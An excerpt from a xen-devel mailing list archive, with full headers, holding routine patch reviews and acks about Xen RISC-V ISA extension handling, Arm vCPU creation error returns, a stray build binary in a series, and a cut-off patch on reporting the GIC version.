> +        const struct riscv_isa_ext_entry *ext = &riscv_isa_ext[i];
> +
> +        if ( ext->guest_supported &&
> +             riscv_isa_extension_available(NULL, ext->id) )
> +            __set_bit(ext->id, d->arch.isa);
> +    }
> +}

Right now what this function does is dependent on only global variables.
IOW each guest gets the same bitmap. Is this going to change soon? Else
why not calculate that bitmap once, taking the same shortcut as you take
elsewhere for the time being? Then allowing riscv_isa_ext[] to remain
__initconst (should really have been __initconstrel).

> @@ -527,4 +610,5 @@ void __init riscv_fill_hwcap(void)
>      if ( !all_extns_available )
>          panic("Look why the extensions above are needed in "
>                "https://xenbits.xenproject.org/docs/unstable/misc/riscv/booting.txt\n");
> +
>  }

Stray change once again?

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 13:16:36 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 13:16:36 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358150.1612400 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whocA-0007bi-Rx; Thu, 09 Jul 2026 13:16:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358150.1612400; Thu, 09 Jul 2026 13:16:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whocA-0007bb-Ov; Thu, 09 Jul 2026 13:16:30 +0000
Received: by outflank-mailman (input) for mailman id 1358150;
 Thu, 09 Jul 2026 13:16:28 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1whoc8-0007bU-LG
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 13:16:28 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whoc7-003lYt-BR
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 15:16:27 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4f9f27-2eae-0a2a0a5409dd-0a2a45059988-6
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 15:16:27 +0200
Received: from [209.85.221.53] (helo=mail-wr1-f53.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4f9f2b-4f1d-0a2a45050019-d155dd35ecbf-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 15:16:27 +0200
Received: by mail-wr1-f53.google.com with SMTP id
 ffacd0b85a97d-476a130c138so2110261f8f.0
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 06:16:27 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47aa0960af0sm47183557f8f.30.2026.07.09.06.16.25
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 09 Jul 2026 06:16:25 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783602987; x=1784207787; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=Up++AhkTRfF68GuhCDV6zPQ8lvJqMAWBzh71XSGXVfs=;
        b=WfLPvoUYlJzmD7Z4Fq+JkNFy3cNu9xl6O9eNJPUt++fAq4wBg/VmPfqlEyCsMYcdvx
         0dMeoKjJoFys7WlO5Av3SeAEtqb3Nmjnxr/ExW9duUYnILlhibJ5r5o/5TZhTbsKJHDv
         feFr6b07xrQV6Be+PbEF2VBcZUQL1OcUh2NzrBDdZJdP/NVGV9TSyfIb0SxkkSwguWm7
         Sys5dNXoxyDE6q0s4jrDCht5SauZqdB65HqGmBTFEwpj5L+UnScSSJ/xSEIYZcFa3UID
         KSZqp5s8vlj5/YtouFIZbqTwexL6TeUgC51tvPoBO2L2NvK/MIyVxbWb2c4s3Zn+HP6h
         GBog==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783602987; x=1784207787;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=Up++AhkTRfF68GuhCDV6zPQ8lvJqMAWBzh71XSGXVfs=;
        b=bRUITilX/aEnj0QRICmzR8SwogriAi87oOnJGRdC2ERw9YheXT/Zn5WLm9tdykQ4MA
         DW/rgcSgN5gjZHVcGUbQQX2Kwto94jR6em4YUDsOVzMNdTKdlj3EX7gUpra8gMAdiloL
         D8oBnSDNGXeDHIC6ZbIfnK0HJhdu/hxAEWEF12BHobSKt9J6DN8ftJyO04YvIY+5L97w
         v6zGDK6Yg+6xwgP9cRMp/n1p3AwMJ7Sgg9B3fIDJ1GpJAAm9WvG/4oe3nzMmmMNkqIuR
         FBbxL5LULKBJq07zL6izPnNcz54QSIZN8AxhNxyafaQEMvelsh1NmTe/wWL0yz0l4yMz
         gmDg==
X-Forwarded-Encrypted: i=1; AHgh+RpeHFdyADG6sWYAdn7v6q3oxi3sBfvNJua+qsZFA3b68KGXaxEUVVdHr8oPIh5E/5QlPAReUrUPZx8=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yzk6saBI30GnqWijOwktuqk893s4+N0t5omHRu/+ohgoS0zEQMX
	VaW4NGLKFjaSWL0b+FLzT9iHBZ/vKbA7iquLjKyPWRPTOO50sykwgfOS
X-Gm-Gg: AfdE7clYqPV8G0dfOfPYVKrboHGcw50oZstpgkgl6QQDSB+hXgGW7u/HxLFKfsm2Pz6
	QbpNcaiMwFcnRmrBxncFQaAtAfVzzWiLqi84sKCodhYjS2K4JADxeuz01WLu0UL+8eVkaReLVcy
	QBpVJDtm4hIsnt9HO7x2gXr9At9Aqk3vZq41ESJ+GgH4MZSNeQSA41rBBM3HoUPne1k1bRD1nIm
	pESMnNImxsYZl0JvW06+iDD1Q+5a0gu/UO4dPaof9Xo82i+NRAoZ++pGWXbGVFoe+g0iWlKze8s
	weQTVAsv1V+sEoJU2506RerR/ZF18ui056595QOWrHSreP/HE+DRwJE+DHzVNX80qwTBqE5Ig4D
	n+CcqmTBsiTpHvuvmAvSZ6MP9fOYzSDwzSPtLJbKUsZ4GPB/sO773hujhYJrrAlit/e/BoFsFCt
	RZpqJI9d/gEUcKaruGxhzT5VOeyqOw4SrbWphXtG48roaHSGZSWf9QMtp1h+kb9vCFTuU=
X-Received: by 2002:a5d:5f89:0:b0:470:2fb1:3db5 with SMTP id ffacd0b85a97d-47df075c099mr7656437f8f.30.1783602986386;
        Thu, 09 Jul 2026 06:16:26 -0700 (PDT)
Message-ID: <d64e15bc-0d92-4c06-befb-6784d56983ee@gmail.com>
Date: Thu, 9 Jul 2026 15:16:25 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [for-4.22][PATCH v2] xen/arm: Fail domain construction if a
 secondary vCPU cannot be created
To: Michal Orzel <michal.orzel@amd.com>, xen-devel@lists.xenproject.org
Cc: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
 <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>, ayan.kumar.halder@amd.com
References: <20260709063643.11800-1-michal.orzel@amd.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <20260709063643.11800-1-michal.orzel@amd.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1783602987-DAF4112E-4DB3DAF6/10/73395122804
X-purgate-type: spam
X-purgate-size: 1942



On 7/9/26 8:36 AM, Michal Orzel wrote:
> construct_domain() creates the secondary vCPUs in a loop, but on a
> vcpu_create() failure it only prints a message and breaks out of the
> loop returning success. As a result the domain can be partially
> constructed with fewer vCPUs than d->max_vcpus. This causes two contract
> violations:
>   - Xen-Guest: domain's FDT is generated before vCPU creation - Xen exposes
>     incorrect information (e.g. two vCPUs listed in a device tree while only
>     one is actually created),
>   - User-Xen: unlike x86, on Arm port we try to bail out as soon as
>     possible on unsatisfied user requests (e.g. user requested two vCPUs
>     for a domain but it was created with only one).
> 
> Return an error instead of breaking out of the loop. Both callers
> (construct_domU() and construct_hwdom()) already propagate a negative
> return value and fail domain construction.
> 
> Fixes: 6b0e8e43348a ("xen/arm: allocate secondaries dom0 vcpus")
> Signed-off-by: Michal Orzel <michal.orzel@amd.com>
> ---
> Changes in v2:
>   - return ENOMEM as allocation failure is most frequent cause of failure
>   - update commit msg to focus on unmet contracts
> ---
>   xen/arch/arm/domain_build.c | 2 +-
>   1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/xen/arch/arm/domain_build.c b/xen/arch/arm/domain_build.c
> index 550617f152bb..72d531618045 100644
> --- a/xen/arch/arm/domain_build.c
> +++ b/xen/arch/arm/domain_build.c
> @@ -1847,7 +1847,7 @@ int __init construct_domain(struct domain *d, struct kernel_info *kinfo)
>           if ( vcpu_create(d, i) == NULL )
>           {
>               printk("Failed to allocate d%dv%d\n", d->domain_id, i);
> -            break;
> +            return -ENOMEM;
>           }
>   
>           if ( is_64bit_domain(d) )

Release-Acked-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 13:20:28 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 13:20:28 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358160.1612409 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whofy-0000nl-B1; Thu, 09 Jul 2026 13:20:26 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358160.1612409; Thu, 09 Jul 2026 13:20:26 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whofy-0000ne-7i; Thu, 09 Jul 2026 13:20:26 +0000
Received: by outflank-mailman (input) for mailman id 1358160;
 Thu, 09 Jul 2026 13:20:25 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1whofx-0000nY-Jt
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 13:20:25 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whofx-002yOs-0c
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 15:20:25 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4fa018-bab6-0a2a0a5309dd-0a2a4509a00a-0
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 15:20:24 +0200
Received: from [209.85.221.52] (helo=mail-wr1-f52.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <jbeulich@suse.com>)
 id 6a4fa018-b440-0a2a45090019-d155dd34d0d4-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 15:20:24 +0200
Received: by mail-wr1-f52.google.com with SMTP id
 ffacd0b85a97d-4799b3f7c83so1212545f8f.2
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 06:20:24 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493eb6fb526sm70944845e9.15.2026.07.09.06.20.23
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 09 Jul 2026 06:20:23 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783603224; x=1784208024; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=rmPylVVDl3kFQZhOh+UmJvXKvxwmZV4PJRxXYchgqNI=;
        b=Kfd9yjUgNYFuGMx3W9Zf4niguDTzBrI9o/3cUXquX3eNsSGBCIW4xTW01EIeCVXFPY
         N/P8QkrGqjf93C7V4LO1XjdofkbD9gH76fqmhalxcmYNAgQjA40x7VC99xDRve7byDk7
         XlizQNVFv+JhLDD3RIvyZEWpps7F5iGut7cLEPbWf4RBZIFyNUvinmzOhKV/SNBXk1G6
         flacJea3izZxBpRFeuh2ljXicTTSszixuaHw+UFEGxMELNfmQEJ3j+WN5LCx1Hb/gQfJ
         LYVEjdtuTyNyeIbZw3tkbW/VPHjx9rZrYUdRgIZu1ewOhKDNZe/JcqwOxj9F7qR2VZH2
         440w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783603224; x=1784208024;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=rmPylVVDl3kFQZhOh+UmJvXKvxwmZV4PJRxXYchgqNI=;
        b=gj5kQtf9bTJUEX9GI5R6YsCdYeek5b+noMF2OmxGnvZrly+sEv1XiVF8zSM2QaV4/k
         e4ZpFxRgWelFTCN2JTwFnKncwWxaAr7cZuk9DOf5tkP/GEkxGwx3qSW39vWl9p+QqzNc
         tp8uh2AwivUst4Tsvp8CKBHHl7KOLQxl9eaQcCJCCm/UhnofXqo7P02T4zADuQ98PrNA
         hz19lvYep7qGOrNUZPku4UnTpXk8QfE4roqV0OTRzaGRncLrRo6OzDtg8DXAxs7SOUgZ
         LiQjWpN1dy+xL7RE2SaPbU4nS3S2gPcTE9fxwEm3vFHU7HI7Uc68yIULPcKGRLCSgck7
         RZiA==
X-Forwarded-Encrypted: i=1; AHgh+Rp3xP03mD/lbPyW+m2YGndPTFDrGHTxrlKUngavSO2EtN/EA6an4yyXXOdIyDivH/ddeaEUc8cbTx8=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxtlxhjmMmm1iDkO2LAlHEfwDvCukQFDb/sZC+8W8g0sQpZgRky
	z7yV73d/70/c79fukPkJPxaWaDxh7RGgOCpuB5ZRyprA2tjirHAQ+RQJsFw/XDODVg==
X-Gm-Gg: AfdE7cmO0R6T04zlEiUw6ZuW6VT8/HJGDob947Ttd3TmK5kV3xmYMeMSIFlzkpWIkzq
	BizD01gpzxRv7G7uWUslyffnNlDiyYpEMpfyRw9UgyE5ZhgPwAlLahqXB9mC4qRK0KUELcElGV4
	KfvQbp05PL3UeZt0WVEsMNEVPTdRIBg4KHtZBPBD0AvpxDSAJMDaE6o5jYkYlmKbwW/AW7X4PjX
	9MB+PVXPK6qejkh49ZVsXEFnXJ4VF8qhmX58pdxkvgiYn3tAV0mTQYbvJUGXaFRNlRRXS45qiV5
	P2sSQTps4FB2kMf35QN2YVgvyk87oTdXAx3vvf2w5XDwacgyIRvVMmVt2wqbWIcmy1pPv5fdUNA
	NmghQhTPZEBQQyz8oSV5Jqp3q0TA0b+mmm6Ndi/AoaUErEGWyQQILlVprJHnJAoGHnM7jb0GWxq
	qP54wO7B2cK1ij59dzDXZGVaQPVK6aVbZcSnW5aNjnJmejBFHaZzn7OzfR2MHjCXechgrH6vNz9
	7kI
X-Received: by 2002:a05:600c:6291:b0:493:f069:d205 with SMTP id 5b1f17b1804b1-493f069d233mr8444525e9.19.1783603224270;
        Thu, 09 Jul 2026 06:20:24 -0700 (PDT)
Message-ID: <0c65cc0a-76c6-4ca3-8d39-7f6d82b7f54b@suse.com>
Date: Thu, 9 Jul 2026 15:20:23 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 10/26] xen/riscv: implement make_cpus_node()
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>, xen-devel@lists.xenproject.org
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
 <d8e17abcf195ca97056c8ed078ad968f68fa4ca9.1783331040.git.oleksii.kurochko@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote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mail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-bad1c0/1783603224-5676AA0B-B0663ACE/10/73395122804
X-purgate-type: spam
X-purgate-size: 2195

On 06.07.2026 17:57, Oleksii Kurochko wrote:
> Implement make_cpus_node() to create cpus node for a guest domain.
> 
> This function is going to be use by common dom0less code during
> construction domain.
> 
> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
> ---
> Changes in v5:
> - Drop Acked-by: Jan Beulich <jbeulich@suse.com> as extra changes were done
>   because of the changed in prev. patch.
> - Move isa_str allocation and construction out of arch_domain_create() and
>   into make_cpus_node() as a local variable, since the string is only
>   needed during FDT generation. Use a two-call build_guest_isa_str()
>   pattern (size probe, then fill) with xvmalloc_array, and convert all
>   post-allocation error returns to goto out so xvfree() runs on every path.
> ---
> Changes in v4:
>  - Update the comment in make_cpus_node() to match code style.
>  - Add Acked-by: Jan Beulich <jbeulich@suse.com>.
> ---
> Changes in v3:
>  - Add blank line above make_cpus_node() function definition.
>  - Move 'unsigned int cpu' from function-level declarations into the for loop.
>  - Drop 'uint32_t reg = cpu_to_fdt32(cpu)'; use fdt_property_cell(fdt, "reg", cpu)
>    instead of fdt_property(fdt, "reg", &reg, sizeof(reg)) so byte-order adjustment
>    is handled internally.
>  - Add matching /* interrupt-controller */ start comment; fix end comment to
>    /* end interrupt-controller */.
>  - Update d->arch.guest_isa_str to ->isa_str in make_cpus_node() function.
> ---
> Changes in v2:
>  - s/u32/uint32_t for timebase_frequency local variable.
>  - Drop +1 from BUILD_BUG_ON().
>  - return fdt_end_node(fdt); instead of res at the end of the function.
> ---
> ---
>  build/tools/fixdep            | Bin 0 -> 13632 bytes

There was a stray file in the v4 series iirc. Now there again is a stray file
in v5. Can you please make sure to take a look yourself before posting a
series? Are you doing out-of-tree hypervisor builds, but with a build directory
within the source repo? There is an entry in .gitignore after all, just for
xen/tools/fixdep.

With this properly dropped:
Acked-by: Jan Beulich <jbeulich@suse.com>

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 13:20:44 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 13:20:44 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358162.1612417 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whogG-00016v-LT; Thu, 09 Jul 2026 13:20:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358162.1612417; Thu, 09 Jul 2026 13:20:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whogG-00016m-Ir; Thu, 09 Jul 2026 13:20:44 +0000
Received: by outflank-mailman (input) for mailman id 1358162;
 Thu, 09 Jul 2026 13:20:43 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f470991a0000edb5@swg.vates.tech>)
 id 1whogF-00016M-GN
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 13:20:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whogE-003han-TG
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 15:20:42 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f470991a0000edb5@swg.vates.tech>)
 id 6a4fa026-2eae-0a2a0a5409dd-0a2a45059b7a-8
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 15:20:42 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f470991a0000edb5@swg.vates.tech>)
 id 6a4fa02a-4f1d-0a2a45050019-b9ff1c229e7f-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 15:20:42 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f470991a0000edb5.005 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Thu, 09 Jul 2026 13:20:37 +0000
Received: from julian.home (lfbn-gre-1-197-6.w90-112.abo.wanadoo.fr
 [90.112.16.6]) (Authenticated sender: julian.vetter@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id 7ADA881C0B;
 Thu,  9 Jul 2026 15:20:36 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=UN5KRy+qpx74y5IV2ArkzdHWcgNqys8e5krbhcF67a4=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:feedback-id;
 b=UtUiVIcvNENcBMYIdUo//7vPTX1WHFEZeLO+EBwt6w3DT3XgRVlxEvAlsiSTDrg5f6vLjKV4s
 SqiHCbO9vPokaBWl4MbZdEgQR+MtxAu4SgCDz+LnXqGKP6kXBu4//sxdMlauN8aZGgxCXFNhW3M
 naKzgl8BnkBmlcZ6/kIWZD+QVyY28fwuMdTbtixjvTDQwmLlX5A52g9FDaBBWTG9Mf4P3KrRKeA
 z6C1vQKsgKFIKeriVVPgMw8ac70OTTKy5m399FJ3UwLEVWWwnf6bzsKL3bNC9fR7YexCdYzDwYV
 BlwsihynOjJje+OXeJ7/4epSi9S+u6q/qRZoBYO7MwOg==
X-Zone-Loop: 33f50af23a08d294e13e2bf6ae7087e34ebe80f8d2c1
x-campaign-type: default
x-transaction-id: 9ed13ff8-7867-4163-ac50-5aef772f8c08
x-swg-uid: 01-5101178b-2617-4b85-aea1-777b39d7ebf5
X-Mailer: Sweego
Message-ID:
 <1783603237.8631fc262581453bbf619ec5b2062170.19f470991a0000edb5@vates.tech>
x-swg-bid: 1783603237.8631fc262581453bbf619ec5b2062170.19f470991a0000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Julian Vetter <julian.vetter@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Julian Vetter <julian.vetter@vates.tech>
Subject: [PATCH] xen/arm: report proper GIC version via XEN_DOMCTL_getdomaininfo
Date: Thu,  9 Jul 2026 15:20:31 +0200
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.523.b858fd9adff023b0.19f47098f17.a822c42b8a04f393=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783603236636
X-purgate-ID: tlsNG-c201ff/1783603242-6215A12E-0A7CA93B/0/0
X-purgate-type: clean
X-purgate-size: 1844

---=Part.523.b858fd9adff023b0.19f47098f17.a822c42b8a04f393=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

When creating a domain on ARM, and passing XEN_DOMCTL_CONFIG_GIC_NATIVE
for the gic_version field in the struct xen_arch_domainconfig,
arch_sanitise_domain_config() resolves this to the approrpiate GIC_V2 or
GIC_V3 version the domain actually has, based on the host's
gic_hw_version()=2E That value is stored in the domain as
d->arch=2Evgic=2Eversion, but can't be queried through any other domctl
later=2E Toolstacks that create and build a domain in the same call
already have this info from the createdomain reply and never need to ask
again=2E

Toolstacks that create a domain and build it later from a separate
process do need to ask again=2E But, the ARM implementation only fills in
info->flags and info->gpaddr_bits=2E info->arch_config is left zeroed, so
